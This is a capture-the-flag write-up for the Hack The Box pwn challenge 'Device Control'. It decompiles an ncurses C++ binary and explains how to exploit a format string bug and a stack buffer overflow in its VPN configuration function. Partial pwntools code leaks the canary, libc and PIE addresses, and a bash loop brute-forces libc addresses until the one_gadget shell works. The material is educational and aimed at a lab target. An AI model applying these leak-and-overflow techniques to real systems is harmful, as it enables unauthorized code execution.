0% found this document useful (0 votes)
8 views

Device Control

Uploaded by

sieudat123
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
8 views

Device Control

Uploaded by

sieudat123
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 12

Device Control

15th April 2022 / Document No. D22.102.261

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: Medium

Classification: Official

Synopsis
Device Control is a medium-difficulty challenge that features abusing a format string bug to leak
addresses and buffer overflow while interacting with an ncurses c++ binary.

Skills Required
ncurses understanding

format string

buffer overflow

Skills Learned
ncurses control characters

Enumeration
First of all, we start with a checksec :

pwndbg> checksec
RELRO STACK CANARY NX PIE RPATH
RUNPATH Symbols FORTIFY FortifiedFortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH RW-
RUNPATH 238) Symbols No 0 1/home/w3th4nds/challenge/device_control
Protections
As we can see:

Protection Enabled Usage

Canary ✅ Prevents Buffer Overflows

NX ✅ Disables code execution on stack

PIE ✅ Randomizes the base address of the binary

RelRO Full Makes some binary sections read-only

All protections are enabled.

The program interface:

Disassembly
Starting with main() :

undefined8 main(void)

{
long lVar1;
long lVar2;
undefined8 uVar3;
long in_FS_OFFSET;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);


setup();
LAB_0010542c:
do {
if (9 < slot) {
endwin();
uVar3 = 0;
LAB_00105443:
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar3;
}
refresh();
lVar2 = main_menu();
if (lVar2 == 0) {
add_device();
goto LAB_0010542c;
}
if (lVar2 == 1) {
remove_device();
}
else if (lVar2 == 2) {
show_devices();
}
else {
if (lVar2 != 3) {
clear();
refresh();
endwin();
uVar3 = 1;
goto LAB_00105443;
}
configure_vpn();
}
} while( true );
}

There are 4 options. The first option adds a device. The user can choose:

Slot

Name

IP

void add_device(void)

{
char *__src;
int iVar1;
undefined4 uVar2;
long lVar3;
void *pvVar4;
time_t tVar5;
long in_FS_OFFSET;
allocator local_49;
basic_string<char,std::char_traits<char>,std::allocator<char>> local_48 [37];
char local_23 [3];
long local_20;

local_20 = *(long *)(in_FS_OFFSET + 0x28);


refresh();
clear();
echo();
if (slot < 9) {
printw("Slot: ");
wgetnstr(stdscr,local_23,3);
std::allocator<char>::allocator();
/* try { // try from 0010424b to 0010424f has its
CatchHandler @ 001045aa */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_48,local_23,&local_49);
/* try { // try from 00104261 to 00104265 has its
CatchHandler @ 00104595 */
iVar1 = std::__cxx11::stoi((basic_string *)local_48,(ulong *)0x0,10);
lVar3 = check_slot((long)iVar1);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string
(local_48);
std::allocator<char>::~allocator((allocator<char> *)&local_49);
if (lVar3 == 0) {
printw("\nUnavailable slot!\n\nPress any key to continue.");
refresh();
getchar();
}
else {
printw("\nDevice name: ");
std::allocator<char>::allocator();
/* try { // try from 001042e7 to 001042eb has its
CatchHandler @ 001045dd */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_48,local_23,&local_49);
/* try { // try from 001042fd to 0010432c has its
CatchHandler @ 001045c8 */
iVar1 = std::__cxx11::stoi((basic_string *)local_48,(ulong *)0x0,10);
wgetnstr(stdscr,dev + (long)iVar1 * 0x20,0xc);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string
(local_48);
std::allocator<char>::~allocator((allocator<char> *)&local_49);
printw("\nDevice IP: ");
std::allocator<char>::allocator();
/* try { // try from 00104377 to 0010437b has its
CatchHandler @ 00104610 */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_48,local_23,&local_49);
/* try { // try from 0010438d to 001043bd has its
CatchHandler @ 001045fb */
iVar1 = std::__cxx11::stoi((basic_string *)local_48,(ulong *)0x0,10);
wgetnstr(stdscr,(long)iVar1 * 0x20 + 0x10b170,0x12);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string
(local_48);
std::allocator<char>::~allocator((allocator<char> *)&local_49);
clear();
std::allocator<char>::allocator();
/* try { // try from 001043f9 to 001043fd has its
CatchHandler @ 00104643 */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_48,local_23,&local_49);
/* try { // try from 0010440f to 00104429 has its
CatchHandler @ 0010462e */
uVar2 = std::__cxx11::stoi((basic_string *)local_48,(ulong *)0x0,10);
printw("Added device to slot: %d\n\nPress any key to continue.",uVar2);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string
(local_48);
std::allocator<char>::~allocator((allocator<char> *)&local_49);
refresh();
getchar();
pvVar4 = malloc(0x80);
std::allocator<char>::allocator();
/* try { // try from 00104477 to 0010447b has its
CatchHandler @ 00104676 */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_48,local_23,&local_49);
/* try { // try from 0010448d to 00104491 has its
CatchHandler @ 00104661 */
iVar1 = std::__cxx11::stoi((basic_string *)local_48,(ulong *)0x0,10);
*(void **)(location + (long)iVar1 * 8) = pvVar4;

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string
(local_48);
std::allocator<char>::~allocator((allocator<char> *)&local_49);
tVar5 = time((time_t *)0x0);
srand((uint)tVar5);
iVar1 = rand();
__src = *(char **)(countries + (long)(iVar1 % 9) * 8);
std::allocator<char>::allocator();
/* try { // try from 0010452b to 0010452f has its
CatchHandler @ 001046a9 */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_48,local_23,&local_49);
/* try { // try from 00104541 to 00104545 has its
CatchHandler @ 00104694 */
iVar1 = std::__cxx11::stoi((basic_string *)local_48,(ulong *)0x0,10);
strcpy(*(char **)(location + (long)iVar1 * 8),__src);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string
(local_48);
std::allocator<char>::~allocator((allocator<char> *)&local_49);
slot = slot + 1;
}
}
else {
clear();
printw("Cannot add more devices!\n\nPress any key to continue.");
refresh();
getchar();
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

Then, by choosing the third option, it prints a list of devices.

With the second option, the user can delete an existing entry. The bug exists in the
configure_vpn function.

void configure_vpn(void)

{
int iVar1;
long lVar2;
size_t sVar3;
void *pvVar4;
long in_FS_OFFSET;
allocator local_1b1;
ulong local_1b0;
ulong local_1a8;
FILE *local_1a0;
basic_string<char,std::char_traits<char>,std::allocator<char>> local_198
[45];
char local_16b [3];
undefined8 local_168;
undefined8 local_160;
undefined8 local_158;
undefined local_150;
char local_148 [32];
char local_128 [264];
long local_20;

local_20 = *(long *)(in_FS_OFFSET + 0x28);


echo();
clear();
refresh();
if (check == 0) {
if ((slot == 0) || (9 < slot)) {
printw("Unavailable slot!\n\nPress any key to continue.");
refresh();
getchar();
}
else {
printw("Slot: ");
wgetnstr(stdscr,local_16b,3);
std::allocator<char>::allocator();
/* try { // try from 00104dad to 00104db1 has its
CatchHandler @ 001052c7 */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_198,local_16b,&local_1b1);
/* try { // try from 00104dc6 to 00104dca has its
CatchHandler @ 001052af */
iVar1 = std::__cxx11::stoi((basic_string *)local_198,(ulong *)0x0,10);
lVar2 = check_slot((long)iVar1);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string
(local_198);
std::allocator<char>::~allocator((allocator<char> *)&local_1b1);
if (lVar2 == 0) {
std::allocator<char>::allocator();
/* try { // try from 00104e4a to 00104e4e has its
CatchHandler @ 00105300 */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_198,local_16b,&local_1b1);
/* try { // try from 00104e63 to 00104e93 has its
CatchHandler @ 001052e8 */
iVar1 = std::__cxx11::stoi((basic_string *)local_198,(ulong *)0x0,10);
printw("\nCurrent: %s\n\nEnter new country: ",*(undefined8 *)(location
+ (long)iVar1 * 8));

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string
(local_198);
std::allocator<char>::~allocator((allocator<char> *)&local_1b1);
refresh();
wgetnstr(stdscr,local_128,0xff);
local_1b0 = 0;
while( true ) {
sVar3 = strlen(local_128);
if (sVar3 <= local_1b0) break;
if (local_128[local_1b0] == '\n') {
local_128[local_1b0] = '\0';
break;
}
local_1b0 = local_1b0 + 1;
}
for (local_1a8 = 0; local_1a8 < 9; local_1a8 = local_1a8 + 1) {
sVar3 = strlen(*(char **)(countries + local_1a8 * 8));
iVar1 = strncmp(local_128,*(char **)(countries + local_1a8 *
8),sVar3);
if (iVar1 == 0) {
check = 1;
pvVar4 = malloc(0x30);
std::allocator<char>::allocator();
/* try { // try from 00104fdb to 00104fdf has its
CatchHandler @ 00105339 */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_198,local_16b,&local_1b1);
/* try { // try from 00104ff4 to 00104ff8 has its
CatchHandler @ 00105321 */
iVar1 = std::__cxx11::stoi((basic_string *)local_198,(ulong
*)0x0,10);
*(void **)(location + (long)iVar1 * 8) = pvVar4;

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string(local_198);
std::allocator<char>::~allocator((allocator<char> *)&local_1b1);
std::allocator<char>::allocator();
/* try { // try from 00105056 to 0010505a has its
CatchHandler @ 00105372 */

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_198,local_16b,&local_1b1);
/* try { // try from 0010506f to 00105073 has its
CatchHandler @ 0010535a */
iVar1 = std::__cxx11::stoi((basic_string *)local_198,(ulong
*)0x0,10);
strcpy(*(char **)(location + (long)iVar1 * 8),local_128);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
~basic_string(local_198);
std::allocator<char>::~allocator((allocator<char> *)&local_1b1);
clear();
printw(
"Country changed!\n\nDo you want to unlock the configuration
of more devices? (y/n ): "
);
refresh();
wgetnstr(stdscr,local_16b,3);
if ((local_16b[0] == 'y') || (local_16b[0] == 'Y')) {
printw("\nEnter license key: ");
wgetnstr(stdscr,local_148,0x14e);
local_168 = 0;
local_160 = 0;
local_158 = 0;
local_150 = 0;
local_1a0 = fopen("./license.conf","rb");
if (local_1a0 == (FILE *)0x0) {
perror("\nError opening license.conf, please contact an
Administrator.\n");
/* WARNING: Subroutine does not return */
exit(1);
}
fgets((char *)&local_168,0x19,local_1a0);
iVar1 = strncmp((char *)&local_168,local_148,0x19);
if (iVar1 == 0) {
check = 0;
clear();
printw(
"By entering this key, you can change VPN for all your
devices.\n\nPress any k ey to continue."
);
refresh();
getchar();
}
else {
clear();
printw("Invalid license key!");
refresh();
sleep(1);
}
}
goto LAB_00105394;
}
}
clear();
printw("This location is not allowed: [");
printw(local_128);
printw("]\n\nPress any key to continue.");
refresh();
getchar();
}
else {
printw("\nUnavailable slot!\n\nPress any key to continue.");
refresh();
getchar();
}
}
}
else {
printw("No more changes available!\n\nPress any key to continue.");
refresh();
getchar();
}
LAB_00105394:
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

The 2 bugs are at these lines:

Format string bug :

printw("This location is not allowed: [");


printw(local_128);
printw("]\n\nPress any key to continue.");

Buffer Overflow :
char local_148 [32];
<SNIP>
wgetnstr(stdscr,local_148,0x14e);

The challenge prints with printw without a format specifier, leading in leaking all kind of
addresses like libc , PIE and canary .

As long as the user can calculate libc base and canary , they can perform a ret2libc attack.
This would be the ideal scenario but while debugging, some problems occur.

Debugging
First of all, the user needs to leak these addresses. I made a custom function to find such
addresses.

def configure_vpn(slot):
# Menu redirect
r.send(down)
r.send(down)
r.send(down)
r.sendline()
r.sendlineafter('Slot: ', str(slot))
r.sendlineafter('country', '%p '* 70)
r.recvuntil('[')
leaks = r.recvuntil(']')[:-1].split(b' ')
r.sendline()
# The code in comments is to find canary, pie and libc
#----------------------------------------------------- #
# gdb.attach(r)
# cnt = 0
# for i in leaks:
# if len(i.decode()) == 18 and i.decode()[-2:] == '00':
# print(f'[{cnt}] Canary: {i.decode()}')
# if b'0x7f' in i:
# print(f'[{cnt}] Possible libc: {i.decode()}')
# if b'0x55' in i:
# print(f'[{cnt}] Possible PIE: {i.decode()}')
# cnt += 1
# pause()
#----------------------------------------------------- #
canary = int(leaks[62].decode(), 16)
libc.address = int(leaks[117].decode(), 16) - 0x29d90
e.address = int(leaks[119].decode() , 16) - 0x5388
return canary, libc.address

There are possible candidates for all the addresses.

canary = int(leaks[62].decode(), 16)


libc.address = int(leaks[117].decode(), 16) - 0x29d90
e.address = int(leaks[119].decode() , 16) - 0x5388

By subtracting these values, the user can calculate the PIE and libc base. Another issue is that
the user cannot directly print them with $N%p because c++ ends the program with an error.
Slot: 1

current: Greece

Enter new country: %13$p


*** invalid %N$ use detected ***
[1] 13985 IOT instruction (core dumped)
./device_control

That means, the user should read everything and put them in a list to calculate the addresses from
there.

After the user calculates the base addresses, they should be able to perform a ret2libc attack.

The other problem that occurs is the fact that the payload is limited. The only way to proceed is
one_gadget .

ncurses control characters

In the ASCII table, there is this entry:

Oct Dec Hex Char


177 127 7F DEL

0x7f is the DEL character. Most of the time, libc addresses start with 0x7f . When the program
encounters these bytes, it will not treat them as raw bytes but as a control character instead. To
bypass it, the user should brute-force the libc address to start with something else instead. I
made a custom bash script to do that.

#!/bin/bash

counter=1
clear

while true;

do
# We need to bruteforce the libc address to not start with 0x7f
# to escape the control character
echo -ne "Libc starts with 0x7, Times: $counter\r"
((counter++))
./solver.py && exit
done

After the user finds out the overflow offset, they see that they have control over rbp register. To
call one_gadget , some constraints should be bypassed.

0xebcf8 execve("/bin/sh", rsi, rdx)


constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
rsi and rdx are already NULL . The only thing that needs to be changed is the rbp-0x78 to be
writable.

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555557000 r--p 3000 0
/home/w3th4nds/htb/device_control
0x555555557000 0x55555555c000 r-xp 5000 3000
/home/w3th4nds/htb/device_control
0x55555555c000 0x55555555e000 r--p 2000 8000
/home/w3th4nds/htb/device_control
0x55555555e000 0x55555555f000 r--p 1000 9000
/home/w3th4nds/htb/device_control
0x55555555f000 0x555555560000 rw-p 1000 a000
/home/w3th4nds/htb/device_control

The PIE base + 0xb300 is inside a writable segment of the binary. PIE base is already found,
meaning all the conditions for the one_gadget are met.

Summary
Add a device to enable configure_vpn function to run.

Leak libc , PIE and canary via the format string bug in configure_vpn .

Find the overflow offset and overwrite rbp to a writable segment of the binary to satisfy the
condition of og .

Brute-force the first bytes of libc to not be 0x7f to bypass the control character of
ncurses .

PoC

./bf.sh

Invalid license key!$ $ cat flag.txt


HTB{f4k3_fl4g_4_t35t1ng}
$ $

You might also like